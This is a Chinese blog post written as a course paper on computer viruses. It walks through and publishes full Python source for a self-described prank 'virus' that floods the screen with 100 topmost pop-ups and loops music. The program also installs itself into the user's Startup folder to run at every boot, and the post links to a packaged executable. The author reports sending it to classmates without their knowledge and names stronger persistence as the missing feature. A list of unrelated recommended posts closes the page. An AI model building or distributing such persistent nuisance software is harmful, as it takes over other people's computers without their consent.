先偷偷的告诉大家:这个其实是我的一个课的结课论文,不知道大家能不能猜出来是什么课?

效果如下:

可达鸭说:好好学习,天天向上!

程序下载地址:可达鸭说:好好学习,天天向上!

摘要

计算机病毒是计算机犯罪的一种新的衍化形式 计算机病毒是高技术犯罪, 具有瞬时性、动态性和随机性。不易取证, 风险小破坏大, 从而刺激了犯罪意识和犯罪活动。是某些人恶作剧和报复心态在计算机应用领域的表现。
  计算机是电子产品。数据从输入、存储、处理、输出等环节, 易误入、篡改、丢失、作假和破坏;程序易被删除、改写;计算机软件设计的手工方式, 效率低下且生产周期长;人们至今没有办法事先了解一个程序有没有错误, 只能在运行中发现、修改错误, 并不知道还有多少错误和缺陷隐藏在其中。这些脆弱性就为病毒的侵入提供了方便。

因此,为了防止病毒入侵,我们就得先搞清楚它们入侵的方法和原理,只有搞清楚了这些我们才有机会“对症下药”,所以对于病毒的研究是非常有意义的。

论文以一个简单的病毒的开发为例,对一个病毒的产生到使用进行了深入的分析,介绍了一个病毒产生的各个环节,以及各个环节的功能和目的,并且在开发过程中,对其进行了一步一步的迭代,使得对病毒有了更深层次的理解。

背景

在这门课的伊始,老师在讲到病毒时,就讲到了一个比较简单的病毒,大概就是这样的:当打开这个病毒时,不管点击多少次关闭(当然这里是在正常人能接受的点击次数之内,不会真的是无限次),它都始终关闭不了,老师也给我们讲了其中的原因,就是:其实在每次点击的时候,当时的那个窗口确实关闭了,只是后面还有很多和它一样的窗口在相同的位置,所以给我们的感受就是好像点击了无效,怀着好奇心,于是当天就自己写了一个这样的小程序,并且利用python中的tkinter模块也很快就写出来了,当天也立马发给了一些同学,他们也都中了我的“圈套”;后来在写实验报告的时候,学习到了windows的注册表,了解到注册表是windows操作系统中的一个核心数据库,其中存放着各种参数,直接控制着windows的启动、硬件驱动程序的装载以及一些windows应用程序的运行,从而在整个系统中起着核心作用,结合注册表,于是后来又想到能不能让这个病毒开机自启,这样也许会更有意思,结合所学的内容以及网上查找资料,最后得知开机自启很简单:只需要在系统启动目录下添加一个程序运行的软链接即可,最后总算是完成了这个简单的小病毒。

开发步骤

  1. 编写弹窗

考虑到程序的趣味性,我没有将所有的窗口都放到同一个位置,而是将它们随机的分布在窗口的各个位置,同时每个窗口的背景颜色和内容也是随机的,为了实现这一点,我提前列出了所有的可能出现的背景颜色和文本内容(文本内容是在网上找到的一些关于学习的搞笑段子,所以我给这个病毒取了一个名字叫“劝学”)。

弹窗的核心代码:

# 弹窗
def boom():window = Tk()window.wm_attributes('-topmost', 1)  # 让弹出的窗口显示在最顶层width = window.winfo_screenwidth() - 200  # 屏幕的宽度height = window.winfo_screenheight() - 80  # 屏幕的高度a = randrange(0, width)b = randrange(0, height)window.title('~劝学~')text = choice(contents)color = choice(colors)label_width = len(text) * 21window.geometry(f"{label_width}x50" + "+" + str(a) + "+" + str(b))Label(window, text=text, bg=color,font=('宋体', 15), width=label_width, height=4).pack()window.mainloop()

代码解释:新建一个窗口,窗口的位置是随机的,但是会限制在屏幕内,之后再为在这个窗口上添加一个Label,Label的背景颜色和内容通过choice方法随机选取,同时窗口的宽度是有文本内容决定的,经过几次的手动调试后,发现将窗口宽度设为文本宽度的21倍比较合适,这样,一个弹窗就完成了。

  1. 背景音乐

在做完弹窗功能后发现,如果仅仅是安安静静的弹出一些窗口,实在显得有一些单调,于是就想着得增加一个背景音乐来增加一些气氛感。

它的实现也很简单,只需要3行代码就可以搞定:

# 播放背景音乐
def playmusic():while True:playsound('bg.mp3')

代码解释:只要程序没后被挂掉,就让它一直循环播放背景音乐。

  1. 开机自启

首先,一个程序能开机自启,就说明,系统在启动的时候,除了启动系统的核心程序外,同时也启动你的这个程序,但是,不管是系统的核心程序还是我们自己写的程序,它们都属于程序,所以,我们只需要将系统启动核心程序的方法添加到我们的程序上就可以了。

因此,我们应该搞清楚系统在开机时是如何知道要启动哪些程序,通过查资料得知,windows在启动时,会同时启动C:ProgramDataMicrosoftWindowsStart MenuProgramsStartup目录下的所有程序,因此,原理上我们只需要将程序的启动快捷键放到这里,我们的程序就会开机自启,但是这个目录是手window是保护的,需要管理员身份才能对齐进行修改,于是果断放弃;后来发现windows对于不同的用户会有不同的启动目录(用户目录:C:Users用户名AppDataRoamingMicrosoftWindowsStart MenuProgramsStartup),并且用户的这个启动目录不需要管理员身份就能对齐进行修改,所以根据这特性,编写了如下程序:

# 开机自启boot
def set_shortcut():try:filename = argv[0]user = getuser()lnkname = join('C:\', 'Users', user, 'AppData', 'Roaming', 'Microsoft', 'Windows', 'Start Menu', 'Programs','Startup', 'surprise.exe.lnk')print(lnkname)shortcut = CoCreateInstance(shell.CLSID_ShellLink, None,CLSCTX_INPROC_SERVER, shell.IID_IShellLink)shortcut.SetPath(filename)shortcut.SetWorkingDirectory(dirname(realpath(argv[0])))if splitext(lnkname)[-1] != '.lnk':lnkname += ".lnk"shortcut.QueryInterface(IID_IPersistFile).Save(lnkname, 0)except Exception as e:print(e.args)

代码解释:为软件创建一个软链接,同时将它写入到用户的启动目录下。

  1. 使用多线程

因为弹窗有很多个,同时在弹窗的同时也要播放背景音乐,所以宏观上来看,这些行为都是同时执行的,因此必须用到并发,具体代码如下:

# 背景音乐
Thread(target=playmusic, daemon=True).start()
for i in range(100):t = Thread(target=boom)sleep(0.5)t.start()

使用并发后就能在显示多个窗口的同时播放音乐了:

5.打包程序

以上的运行都是在python环境下执行的,为了然后没有python环境的系统也能运行就必须得将代码打包成可执行文件,去掉对python环境的依赖,我这里用到的打包工具是pyinstaller,使用也很简单:

打包命令:pyinstaller -F -w surprise.py -i gift.ico

双击启动程序后,就会在用户的启动目录下建立一个程序的软链接,同时在当前目录下会生成一个MP3文件(背景音乐)和一个gif(弹出动图用)文件:

自我评价

这个项目虽然看起来不是很大,但是包含的内容却很丰富,比如:GUI编程,多线程,文件操作等等都用到了;同时在开发过程中,也遇到过比较棘手的问题,就比如在程序启动后,为什么会在目录下生成一个mp3和一个gif文件,拿播放背景音乐来说,一个程序,你去下载它,但是因为它有背景音乐,需要额外的下载,这时你肯定不愿意再去额外的下载,所以为了解决所有的东西都打包到一个文件中,我将背景音乐提前读取出来,然后将其以字符串的形式保存在一个变量当中,在程序运行的时候,将其反解码为二进制数据写入文件,之后背景音乐就可以正常的播放了;同时在写完之后,发现这个程序也有不足的地方:既然是一个病毒,那么就应该不那么轻易的被消灭掉,但是我这个病毒,只要你删除了它的源文件,它就不会开机自启了,所以对于病毒来说,这是一个不足的地方;不过呢,从最初的一个想法,到只有弹窗,然后到有背景音乐,然后是有了开机自启,最后的版本还有一个结束小动画,这一步步的迭代过程,也说明了它是在不断的完善中的,这也验证了一句话:好的项目不是一蹴而就的,而是一步一步迭代后产生的。

源码:

from base64 import b64decode
from sys import argv
from time import sleep
from random import choice, randrange
from threading import Thread
from tkinter import Tk, Label
from pythoncom import CoCreateInstance, CLSCTX_INPROC_SERVER, IID_IPersistFile
from playsound import playsound
from win32comext.shell import shell
from os.path import join, splitext, dirname, realpath
from getpass import getuser
from pyglet.app import run
from pyglet.sprite import Sprite
from pyglet.window import Window
from pyglet.image import load_animation
from res2 import bg_music
from res3 import end_gifcolors = ['#DC143C', '#FFF0F5', '#DB7093', '#FF69B4', '#FF1493', '#C71585', '#DA70D6', '#D8BFD8', '#DDA0DD','#EE82EE', '#FF00FF', '#FF00FF', '#8B008B', '#800080', '#BA55D3', '#9400D3', '#9932CC', '#4B0082','#8A2BE2', '#9370DB', '#7B68EE', '#6A5ACD', '#483D8B', '#E6E6FA', '#F8F8FF', '#0000FF', '#0000CD','#191970', '#00008B', '#000080', '#4169E1', '#6495ED', '#B0C4DE', '#778899', '#708090', '#1E90FF','#F0F8FF', '#4682B4', '#87CEFA', '#87CEEB', '#00BFFF', '#ADD8E6', '#B0E0E6', '#5F9EA0', '#F0FFFF','#E0FFFF', '#AFEEEE', '#00FFFF', '#00FFFF', '#00CED1', '#2F4F4F', '#008B8B', '#008080', '#48D1CC','#20B2AA', '#40E0D0', '#7FFFD4', '#66CDAA', '#00FA9A', '#F5FFFA', '#00FF7F', '#3CB371', '#2E8B57','#F0FFF0', '#90EE90', '#98FB98', '#8FBC8F', '#32CD32', '#00FF00', '#228B22', '#008000', '#006400','#7FFF00', '#7CFC00', '#ADFF2F', '#556B2F', '#9ACD32', '#6B8E23', '#F5F5DC', '#FAFAD2', '#FFFFF0','#FFFFE0', '#FFFF00', '#808000', '#BDB76B', '#FFFACD', '#EEE8AA', '#F0E68C', '#FFD700', '#FFF8DC','#DAA520', '#B8860B', '#FFFAF0', '#FDF5E6', '#F5DEB3', '#FFE4B5', '#FFA500', '#FFEFD5', '#FFEBCD','#FFDEAD', '#FAEBD7', '#D2B48C', '#DEB887', '#FFE4C4', '#FF8C00', '#FAF0E6', '#CD853F', '#FFDAB9','#F4A460', '#D2691E', '#8B4513', '#FFF5EE', '#A0522D', '#FFA07A', '#FF7F50', '#FF4500', '#E9967A','#FF6347', '#FFE4E1', '#FA8072', '#FFFAFA', '#F08080', '#BC8F8F', '#CD5C5C', '#FF0000', '#A52A2A','#B22222', '#8B0000', '#800000', '#FFFFFF', '#F5F5F5', '#DCDCDC', '#D3D3D3', '#C0C0C0', '#A9A9A9','#808080', '#696969', '#000000']
contents = ['立志宜思真品格,读书须尽苦功夫。', '治学有三大原则:广见闻,多阅读,勤实验。', '黑发不知勤学早,白发方悔读书迟。', '正确的道路是这样:吸取你的前辈所做的一切,然后再往前走。','韬略终须建新国,奋发还得读良书。', '旧书不厌百回读,熟读精思子自知。', '非学无以广才,非志无以成学。', '读书不趁早,后来徒悔懊。', '鸟欲高飞先振翅,人求上进先读书。','莫等闲,白了少年头,空悲切。', '如果把生活比喻为创作的意境,那么阅读就像阳光。', '三人行,必有我师也。择其善者而从之,其不善者而改之。', '学而时习之,不亦说乎?', '好好学习,天天向上。','人的知识愈广,人的本身也愈臻完善。', '与肝胆人共事,无字句处读书。', '无限相信书籍的力量,是我的教育信仰的真谛之一。', '千教万教教人求真,千学万学学做真人。', '富贵必从勤苦得,男儿须读五车书。','少壮不努力,老大徒伤悲。', '业精于勤,荒于嬉;行成于思,毁于随。', '求学将以致用;读书先在虚心。', '学习知识要善于思考,思考,再思考。', '敏而好学,不耻下问。','科学研究好象钻木板,有人喜欢钻薄的;而我喜欢钻厚的。', '情况是在不断的变化,要使自己的思想适应新的情况,就得学习。', '任何倏忽的灵感事实上不能代替长期的功夫。','愚昧从来没有给人带来幸福;幸福的根源在于知识。', '你应该小心一切假知识,它比无知更危险。', '古今来许多世家,无非积德。天地间第一人品,还是读书。', '路漫漫其修道远,吾将上下而求索。','通往成功的路,总是在施工中。', '对着电脑唱忐忑,唱完后,死机了。', '在网吧,一同学突然举手,大喊:“老师!”', '不知道自己无知,乃是双倍的无知。', '学而不思则罔,思而不学则殆。','非淡泊无以明志,非宁静无以致远。', '饭可以一日不吃,觉可以一日不睡,书不可以一日不读。', '青年是学习智慧的时期,中年是付诸实践的时期。', '非静无以成学。','考试你真坏!伤了我的`心不说,还伤我爸妈的心。', '考试不及格不是我的错', '数学好难啊,求求老天,开开恩吧,我八辈祖宗谢谢你!', '每次考完试我都安慰自己“没关系','我已怒挂一科,瞬间感到自己的大学终于完整了!', '学习吧,钱没了;不学吧,前途没了。', '空有一颗要努力学习的心,却偏偏生得挂科的命!', '逃课,是一个人的狂欢,上课,是一群人的孤单。','人家条条大路通罗马,姐我条条楼梯通考场!', '据说,试卷发下来一定要先吻一下,这叫“稳过”。', '如果考试用QB做奖励,我想中国很快就会强大起来的。', '上课就犯困,下课就犯多动症。','学习伤我千百遍,我却待他如初恋!', '上课盼下课,上学盼放假,我的目标一直都很执着。', '学校啊!你虽然得到了我的人,可是却得不到我的心。', '不要让我挂科嘛,这次考试很重要的啦!','从小到大,唯一不变的就是那颗不爱读书的心。']# 播放背景音乐
def playmusic():while True:playsound('bg.mp3')# 弹窗
def boom():window = Tk()window.wm_attributes('-topmost', 1)  # 让弹出的窗口显示在最顶层width = window.winfo_screenwidth() - 200  # 屏幕的宽度height = window.winfo_screenheight() - 80  # 屏幕的高度a = randrange(0, width)b = randrange(0, height)window.title('~劝学~')text = choice(contents)color = choice(colors)label_width = len(text) * 21window.geometry(f"{label_width}x50" + "+" + str(a) + "+" + str(b))Label(window, text=text, bg=color, font=('宋体', 15), width=label_width, height=4).pack()window.mainloop()def last():window = Tk()width = window.winfo_screenwidth()height = window.winfo_screenheight()animation = load_animation('end.gif')sprite = Sprite(animation)# 376 228 #放大sprite.scale_x = width / 376sprite.scale_y = height / 228# 创建一个窗口并将其设置为图像大小win = Window(width=width, height=height,fullscreen=True)@win.eventdef on_draw():win.clear()sprite.draw()run()# 开机自启boot
def set_shortcut():try:filename = argv[0]user = getuser()lnkname = join('C:\', 'Users', user, 'AppData', 'Roaming', 'Microsoft', 'Windows', 'Start Menu', 'Programs','Startup', 'surprise.exe.lnk')print(lnkname)shortcut = CoCreateInstance(shell.CLSID_ShellLink, None,CLSCTX_INPROC_SERVER, shell.IID_IShellLink)shortcut.SetPath(filename)shortcut.SetWorkingDirectory(dirname(realpath(argv[0])))if splitext(lnkname)[-1] != '.lnk':lnkname += ".lnk"shortcut.QueryInterface(IID_IPersistFile).Save(lnkname, 0)except Exception as e:print(e.args)if __name__ == '__main__':# 将音乐写入一个临时文件with open('bg.mp3', 'wb+') as f:f.write(b64decode(bg_music))# 写入背景图片with open('end.gif', 'wb+') as f:f.write(b64decode(end_gif))# 开机自启set_shortcut()# 背景音乐Thread(target=playmusic, daemon=True).start()for i in range(100):t = Thread(target=boom)sleep(0.5)t.start()last()

同步更新于个人博客系统:可达鸭说:好好学习,天天向上!

可达鸭说:好好学习,天天向上~~相关推荐

  1. [ctf.show.reverse] 来一个派森,好好学习天天向上

    来一个派森 根据名字来看是一个编译成exe的python程序, 用py \tools\pyinstxtractor.py checkme.exe 将其解包, 然后将struct文件头部E3前的部分插入 ...

  2. 好好学习天天向上之InfoPath学习系列(零):写在最前面

    年关刚过,终于有了些时间,一直打算写一个系列,是专门写InfoPath的.要问我为什么选InfoPath,因为,我认为他可能是最面向大众的开发工具了(在Sharepoint 2010上面他有了更深远的 ...

  3. 好好学习天天向上之InfoPath学习系列(一):Form Services与InfoPath初识

    InfoPath From Service只有SharePoint07或10的企业版上才会集成.而且他对我来说还是比较神秘的,但这并不妨碍我去使用它,我们暂时先理解为他作为一个组件存在于SharePo ...

  4. OJ 2552: 好好学习天天向上

    Description 在刚过去不久的母亲节中,小红答应妈妈要好好学习天天向上.小红对数学特别不擅长,于是她准备从基础的加法开始练习:她在纸上随机写了三个数a,b,c,然后算出它们的和d.勤奋的小红在 ...

  5. 打印10遍好好学习天天向上

    public class Demo { public static void main(String[] args) {// TODO Auto-generated method stubfor(in ...

  6. python好好学习 天天向上

    1. 回文数判断.设n是一任意自然数,如果n的各位数字反向排列所得自然数与n相等,则n被称为回文数.从键盘输入一个5位数字,编写程序判断这个数字是否是回文数. a = input("请输入数 ...

  7. 好久没有好好学习天天向上了,慢慢开始重拾学习的心情了

    最近由于很多原因,很久都没有留下自己的痕迹了,这下缓了下,终于可以开始重拾自己的心情,再次步入学习殿堂. 坚持每天学习两小时,总结一点心得,老了好好看~~~~ 这辈子就靠这个吃饭了~~~~~~ 接下来 ...

  8. 【codevs2912】反素数,好好学习天天向上

    反素数 时间限制: 1 s 空间限制: 128000 KB 题目等级 : 大师 Master 题解 题目描述 Description 对于任何正整数x,其约数的个数记作g(x).例如g(1)=1.g( ...

  9. 欢迎使用CSDN-markdown编辑器新手小白初来乍到想在此好好学习天天向上

    这里写自定义目录标题 欢迎使用Markdown编辑器 新的改变 功能快捷键 合理的创建标题,有助于目录的生成 如何改变文本的样式 插入链接与图片 如何插入一段漂亮的代码片 生成一个适合你的列表 创建一 ...

  10. 【Python】:好好学习天天向上实例

    本篇文章将引入mooc网课<Python语言程序设计>学习时的一个例子:好好学习天天相上. ·假如每天学习1%,一年能学习多少呢? ·假如周内学习1%,周末遗忘1%,一年能学习多少呢? · ...

最新文章

  1. @程序员:Python 3.8正式发布,重要新功能都在这里
  2. UCLA李婧翌:女性最不需要做的就是「怀疑自己」| 妇女节特辑
  3. Vue、React、Angular最佳UI框架
  4. Redis Template使用append方法不起作用的解决办法以及序列化/反序列化的解释
  5. JSP 防止网页刷新重复提交数据
  6. H3C 无线AP升级步骤
  7. 己所不欲,勿施于人的意思,这句话出自哪里?
  8. 2021新鲜出炉软件测试的真实面试题(一篇足以)
  9. BFC和haslayout(IE6-7)(待总结。。。)
  10. Apache 配置SSL网站
  11. 资深CTO带来的8条Serverless最佳实践
  12. MOOC 浙江大学C语言翁恺(第一、二章 满分答案)
  13. 计算机网络的产生与发展可分为哪四个阶段,计算机网络形成与发展大致分为如下4个阶段...
  14. 经典配色方案之 红、橙、黄、绿、青、紫、无彩色系
  15. QQ揭秘:如何实现窗体靠边隐藏?【低调赠送:QQ高仿版GG 4.2 最新源码】
  16. 游戏网络同步——MMO位置同步
  17. Windows下安装Oracle11g数据库
  18. 网页中打开word文档
  19. 光耦使用教程——以4N25为例
  20. 注册登录页面代码用js判断是否填入信息_微信小程序快速开发:从注册账号到小程序上架

热门文章

  1. 如何在官网下载 红帽企业版linux
  2. 《设计模式之美》学习笔记(二)
  3. 优秀的内部知识库对企业的重要性
  4. 听专家讲玛雅文明和“世界末日”
  5. NIO实现网络聊天室
  6. 几何画板放大和缩小的方法
  7. Linux 物理卷、卷组、逻辑卷关系,逻辑卷大小的扩展
  8. infoq_从2019年开始的InfoQ编辑推荐讲座
  9. 数论学习书籍及信奥中的数学之数论相关资料
  10. 搜狗输入法+linux+使用技巧,搜狗输入法的几个小技巧,让日常打字更省心